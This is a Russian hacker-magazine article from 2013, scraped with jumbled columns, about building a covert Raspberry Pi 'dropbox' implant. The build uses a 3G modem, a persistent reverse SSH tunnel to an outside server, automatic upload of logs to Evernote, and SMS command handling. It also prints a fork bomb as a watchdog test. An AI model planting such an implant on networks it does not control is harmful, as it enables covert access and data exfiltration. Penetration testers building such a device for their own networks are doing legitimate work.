Page 1

20

COVERSTORY

ДЕЛАЕМ ЗАКЛАДКУ ИЗ RASPBERRY PI Идея дропбокса проста: если миниатюрный компьютер снабдить батареей и 3G-модемом, то можно получить шпионскую коробочку, которая незаметно подключается к исследуемой сети и передает собранные данные. Этот концепт вполне реализуем на Raspberry Pi.

ХАКЕР 05 /172/ 2013

Александр Лыкошин alykoshin@gmail.com, ligne.ru

Зато он виден как диск:

# ls -l /dev/disk/by-id/ usb-HUAWEI_MMC_Storage-0:0 -> ../../sda usb-HUAWEI_Mass_Storage-0:0 -> ../../sr0 Для того чтобы переключить его в режим модема, потребуется установить дополнительную программу и перезагрузиться (другим модемам могут понадобиться другие настройки):

# apt-get update && apt-get install usb-modeswitch # reboot Посмотрим на описание USB-устройства еще раз:

З

абегая вперед, скажу: из-за высокого энергопотребления наш дропбокс хорошо подойдет скорее для работы в собственных сетях. Для чужих ему просто не хватит батареи, но концепт все равно выглядит заманчиво. Все это мы будем делать на базе дистрибутива PwnPi. В нем мы настроим работу с модемом, научимся принимать команды по SMS и отсылать логи в Evernote. В моем распоряжении был 3G-модем Huawei E1550 («Мегафон E1550»).

ПЕРЕКЛЮЧЕНИЕ В РЕЖИМ МОДЕМА Многие 3G-модемы при  подключении выглядят как  диск для  того, чтобы предварительно установить необходимые драйверы, и  требуют переключения в  режим модема. Модем E1550 — из их числа и изначально недоступен как терминал:

# ls /dev/ttyUSB* ls: cannot access /dev/ttyUSB11*: No such file or directory Посмотрим на описание USB-устройств:

# lsusb Bus 001 Device 009: ID 12d1:1446 Huawei Technologies Co., Ltd. E1552/E1800/E173 (HSPA modem)

# lsusb Bus 001 Device 010: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E230/E270/E870 HSDPA/HSUPA Modem Видно, что у модема изменился Device ID (выделено красным цветом), и теперь нам стали доступны его порты:

# ls /dev/ttyUSB* /dev/ttyUSB0 /dev/ttyUSB1

SAKIS И UMTSKEEPER Первая программа, которая нам понадобится для  настройки 3G-модема,  — Sakis3G, сценарий для  установления 3G-соединения. Домашняя страница проекта sakis-3g.org уже некоторое время недоступна, но  копия скрипта есть на sourceforge. Загрузим ее, разархивируем и разрешим выполнение:

# mkdir ~/3g && cd ~/3g # wget http://downloads.sourceforge.net/project/ vim-n4n0/sakis3g.tar.gz -O sakis3g.tar.gz # tar -xzvf sakis3g.tar.gz # chmod +x sakis3g

АВТОНОМНОЕ ПИТАНИЕ Raspberry Pi с подключенными и активными адаптерами Wi-Fi (D-Link DWA-140 B2) и 3G (Huawei E1550) потребляет порядка 700―800 мА. Емкость доступных на сегодняшний день достаточно компактных внешних литиевых аккумуляторов достигает 20 ампер-часов, что может обеспечить срок автономной работы до суток. Если рассматривать RPi в качестве просто многофункционального устройства, это очень и очень неплохо; однако ее скрытая установка на более длительное время потребует подключения к внешнему питанию, которым может быть порт USB или электросеть.


ХАКЕР 05 /172/ 2013

21

Маленький британский шпион

Calling Sakis3G connect... Sakis3G cmdLine: nice ./sakis3g connect --sudo --console USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER= 'megafon' APN_PASS='megafon' Sakis3G says... E1550 connected to MegaFon (25002). 2013-04-01 10:39:20 Testing connection... 2013-04-01 10:39:37 Success... we are online! Теперь отредактируем /etc/rc.local для запуска при загрузке системы:

# nano /etc/rc.local /root/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM= '12d1:1003' APN='CUSTOM_APN' CUSTOM_APN= 'internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' & Доустановим поддержку PPP

Опции Gammu

# apt-get install ppp

И проверим после перезагрузки.

REVERSE SSH

# ./sakis3g --interactive

Для удаленного подключения к PwnPi через 3G настроим поднятие Reverse SSH туннеля (для этого нужен сервер с публичным IP). Чтобы PwnPi подключался к  серверу в  автоматическом режиме, без ввода пароля, на PwnPi cгенерируем приватный/публичный ключи и скопируем публичный ключ на сервер:

Выберем первую опцию, «Connect with 3G», в ответ на следующий запрос выберем «11. Custom APN...». Укажем (данные для Мегафон-Москва):

# ssh-keygen # scp /root/.ssh/id_rsa.pub root@<адрес сервера>: /root/

APN: internet APN_USER: megafon APN_PASS: megafon

На сервере (если это Debian) добавим публичный ключ в список авторизованных:

Попробуем установить соединение в интерактивном режиме, указывая необходимые данные.

$ cat ~/id_rsa.pub >> ~/.ssh/authorized_keys

Если соединение было установлено успешно, выйдем из меню и проверим доступ к интернету:

Попробуем подключиться к серверу с PwnPi:

# ping google.com

# ssh root@<адрес сервера>

Следующая программа, UMTSkeeper (zool33.uni-graz.at/ petz/umtskeeper), необходима для автоматического подключения при разрыве связи. Загрузим, разархивируем и разрешим выполнение:

Подключение должно произойти без запроса пароля. В случае если пароль все равно запрашивается и подключение с использованием ключей настраивается в первый раз, необходимо задать права доступа к этому файлу (и папке в целом):

# mkdir ~/3g && cd 3g # wget http://zool33.uni-graz.at/petz/umtskeeper/ src/umtskeeper.tar.gz # tar -xzvf umtskeeper.tar.gz # chmod +x umtskeeper Проверим UMTSkeeper, подставив свои значения в параметры USBMODEM (Vendor ID:Device ID, который виден при вводе команды lsusb) и  CUSTOM_APN, APN_USER, APN_PASS, SIM_ PIN (данные для подключения к 3G-сети):

# ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN= 'CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN= '1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' Проконтролируем работы, открыв журнал в другом окне:

# tail /var/log/umtskeeper.log -f 2013-04-01 10:37:38 Start: interval=4*8s Internet status: Modem plugged, not connected to internet. 2013-04-01 10:38:27 Internet connection is DOWN.

ДОСТУП К МОДЕМУ С ПОМОЩЬЮ MINICOM Для проверки работоспособности можно попробовать «достучаться» до него, как до обычного модема, с помощью minicom:

# apt-get install minicom # minicom -D /dev/ttyUSB0 Запросим информацию о производителе модема с помощью AT-команды

ati0 Manufacturer: huawei Model: E1550 Revision: 11.608.12.10.209 IMEI: < IMEI вашего модема > +GCAP: +CGSM,+DS,+ES OK Выйдем нажатием <Ctrl + A + Q>.


COVERSTORY

22

ХАКЕР 05 /172/ 2013

# chmod 755 ~ # chmod 700 ~/.ssh # chmod 600 ~/.ssh/authorized_keys Теперь установим туннель с перенаправлением портов. Со стороны PwnPi:

# ssh -q -N -R 1221:localhost:22 root@<адрес сервера> Со стороны сервера теперь порт 1221 ждет подключений, но только на интерфейсе 127.0.0.1:

# netstat -an |grep 1221 tcp 0 0 127.0.0.1:1221

0.0.0.0:*

LISTEN

Со стороны сервера проверим подключение через Reverse SSH, подключившись к локальному порту:

# ssh root@localhost -p 1221 Интерфейс Sakis3G

Если все правильно, после ввода пароля пользователя root системы PwnPi мы должны получить доступ к PwnPi. Со стороны сервера разрешим перенаправления портов для  всех интерфейсов:

# nano /etc/ssh/sshd_config GatewayPorts yes Теперь необходимо, чтобы sshd перечитал конфигурационный файл. Посмотрим, какой у него PID:

# ps aux|grep sshd ... root 23511 0.0 2.1 0:00 /usr/sbin/sshd ...

9920

5376 ?

Ss

13:09

CONN=localhost:22 # Порт SSH Listener на PwnPi COMMAND="ssh -q -N -R $FPORT:$CONN $USERHOST -p $RPORT" pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND ssh $USERHOST -p $RPORT netstat -an | egrep "tcp.*:$FPORT.*LISTEN">/dev/null 2>&1 if [ $? -ne 0 ] ; then echo "Restarting connection" pkill -f -x "$COMMAND" $COMMAND else echo 'Connection OK' fi # chmod +x reverse_ssh_tunnel.sh Добавим строку с указанием запускать каждую минуту в crontab:

И пошлем ему сигнал HUP:

# crontab -e */1 * * * * /bin/sh /root/reverse_ssh_tunnel.sh

# kill -hup 23511 # tail /var/log/sshd.log

АВТОМАТИЧЕСКОЕ СОХРАНЕНИЕ ДАННЫХ В EVERNOTE

Теперь после установления соединения с PwnPi увидим, что процесс ожидает подключение на всех интерфейсах:

Есть много вариантов для автоматической передачи и хранения данных, от традиционной почты до популярных облачных сервисов, от Google Drive до Evernote. Отправить данные в Evernote можно с помощью утилиты Geeknote (www.geeknote.me):

# netstat -an -p |grep 1221 tcp 0 0 0.0.0.0:1221 0.0.0.0:* LISTEN 21990/ sshd: root

# wget http://www.geeknote.me/dist/ geeknote_latest.deb # sudo dpkg -i geeknote_latest.deb # geeknote login

Создадим сценарий для автоматического запуска и  дадим ему права на выполнение:

# nano /root/reverse_ssh_tunnel.sh #!/bin/sh USERHOST=root@<адрес сервера> RPORT=22 # Порт SSH сервера FPORT=1221 # Порт, который будет открыт на сервере

Приветствие баша в PwnPi

Укажем свои данные для входа в Evernote (необходимо сделать только один раз, если пользователь не изменяется). Создадим новую записную книжку и добавим тестовую запись:

# geeknote notebook-create --title "PwnPi data" # geeknote create --notebook "PwnPi" --title "Test" --content "Test note" Geeknote поддерживает автоматическую синхронизацию текстовых файлов в указанном каталоге с помощью входящей в пакет утилиты gnsync. Для синхронизации ее необходимо запустить со  следующими ключами (синхронизируется каталог /root):

# gnsync --path /root --mask *.log --notebook "PwnPi"

УПРАВЛЕНИЕ ЧЕРЕЗ SMS К сожалению, работа 3G у нас не отличается стабильностью. Так что в качестве дополнения можно реализовать передачу команд (например, перезагрузки) и уведомлений с помощью SMS с использованием пакета Gammu.


ХАКЕР 05 /172/ 2013

23

Маленький британский шпион

# apt-get install gammu # gammu-config В меню установим порт /dev/ttyUSB1 (для 3G был настроен /dev/ttyUSB0). Запросим описание устройства:

# gammu --identify Устройство : /dev/ttyUSB1 Manufacturer : Huawei Модель : E1550 (E1550) Firmware : 11.608.12.10.209 IMEI : 351911043904005 Номер SIM (IMSI) : 250026700613366

КТО СЛЕДИТ ЗА СЛЕДЯЩИМ В современных микроконтроллерах может применяться ряд средств, повышающих надежность работы встраиваемых устройств в необслуживаемом режиме. Один из механизмов, предназначенных для этого, — аппаратный watchdog-таймер, позволяющий перезагрузить устройство в случае его зависания. Программа, работоспособность которой должна быть проконтролирована, периодически должна сбрасывать этот таймер. Если она прекратит это делать, таймер превысит пороговое значение, и на на процессор будет подан сигнал сброса. В Linux программное обеспечение поддержки watchdog состоит из двух частей: драйвера watchdog-таймера и watchdogдемонов, контролирующих работоспособность системы в целом.

Можно включить режим мониторинга и попробуем отправить тестовое сообщение:

WATCHDOG-ДРАЙВЕР

# gammu --monitor # echo "test from PwnPi" | gammu sendsms TEXT +7<номер телефона>

# sudo modprobe bcm2708_wdog

Для русского языка (юникодная локаль в PwnPi по умолчанию не выставлена) можно использовать ключ -unicode.

# echo "bcm2708_wdog" | sudo tee -a /etc/modules

Загрузка модуля драйвера:

Добавление в список автозагружаемых модулей:

Для получения SMS необходимо установить

Watchdog-таймер стартует при открытии устройства. Сброс его осуществляется отправкой любого символа. Символ V отключает таймер. Убедиться в работоспособности можно так:

# apt-get install gammu-smsd

# cat > /dev/watchdog

ПРИЕМ SMS

И указать тот же порт 3G-модема в конфигурации:

# nano /etc/gammu-smsdrc [gammu]
port=/dev/ttyUSB1 Запустим как сервис и посмотрим журнал:

# gammu-smsd --daemon
 # tail -f /var/log/syslog Входящие сообщения сохраняются в папку:

# cd /var/spool/gammu/inbox && ls IN20130402_193338_00_+7<номер телефона>_00.txt Внутри содержится полученный текст SMS. Создадим сценарий для выполнения команд из SMS. В примере ниже, при получении текста 'uptime' отправителю высылается сообщение с результатом выполнения команды uptime:

$ nano smscheck #!/bin/bash for file in `ls /var/spool/gammu/inbox` do cmd=`cat /var/spool/gammu/inbox/$file` case "$cmd" in
 "uptime") echo `uptime` > /var/spool/gammu/outbox/ OUT+7<номер телефона>.txt ;; esac rm -f /var/spool/gammu/inbox/$file done


Теперь от перезагрузки систему отделяет только ввод строк с клавиатуры (команда cat передает набираемый текст построчно). Ввод символа V с последующим <Enter> остановит обратный отсчет.

WATCHDOG-ДЕМОН Пакет watchdog состоит из двух демонов: упрощенного — wd_keepalive и основного — watchdog, предоставляющего более широкие возможности. С его помощью можно контролировать не только загрузку системы, но и такие параметры, как объем доступной памяти, доступ к отдельным файлам, доступность узлов по команде ping и ряд других.

# apt-get install watchdog # Установка # update-rc.d watchdog defaults # Добавление в автозагрузку Для настройки в файле /etc/watchdog.conf необходимо раскомментировать несколько строк:

# nano /etc/watchdog.conf watchdog-device = /dev/watchdog max-load-1 = 24 Запуск в ручном режиме

# /etc/init.d/watchdog start

ПРОВЕРКА Наиболее простой способ проверить работоспособность настройки watchdog — ввести в командной строке так называемую fork bomb:

: (){ :|:& };: Система очень быстро перестанет откликаться и, если все настроено правильно, через несколько секунд уйдет в перезагрузку.

# chmod +x smscheck Поскольку в папке /var/spool/gammu/inbox уже должны лежать наши тестовые сообщения, запустим этот сценарий и убедимся, что он отправляет нужное сообщение. Добавим его в  crontab с  периодичностью выполнения одна минута с помощью следующей записи:

# crontab -e */1 * * * * /home/pi/smscheck Перегружаем систему и проверяем работоспособность нашей конфигурации.

ИТОГ При своей кажущейся несерьезности Raspberry Pi может стать опасным инструментом, хотя высокое энергопотребление ограничивает возможность работы в автономном режиме. Впрочем, ближайшие по функционалу аналоги на сегодняшний день, коммерческие инструменты penetration-тестирования компании PWNIE Express, находятся в совершенно другой ценовой категории.

Маленький британский шпион  

Создаем закладку-шпиона на базе Raspberry Pi

Read more
Read more
Similar to
Popular now
Just for you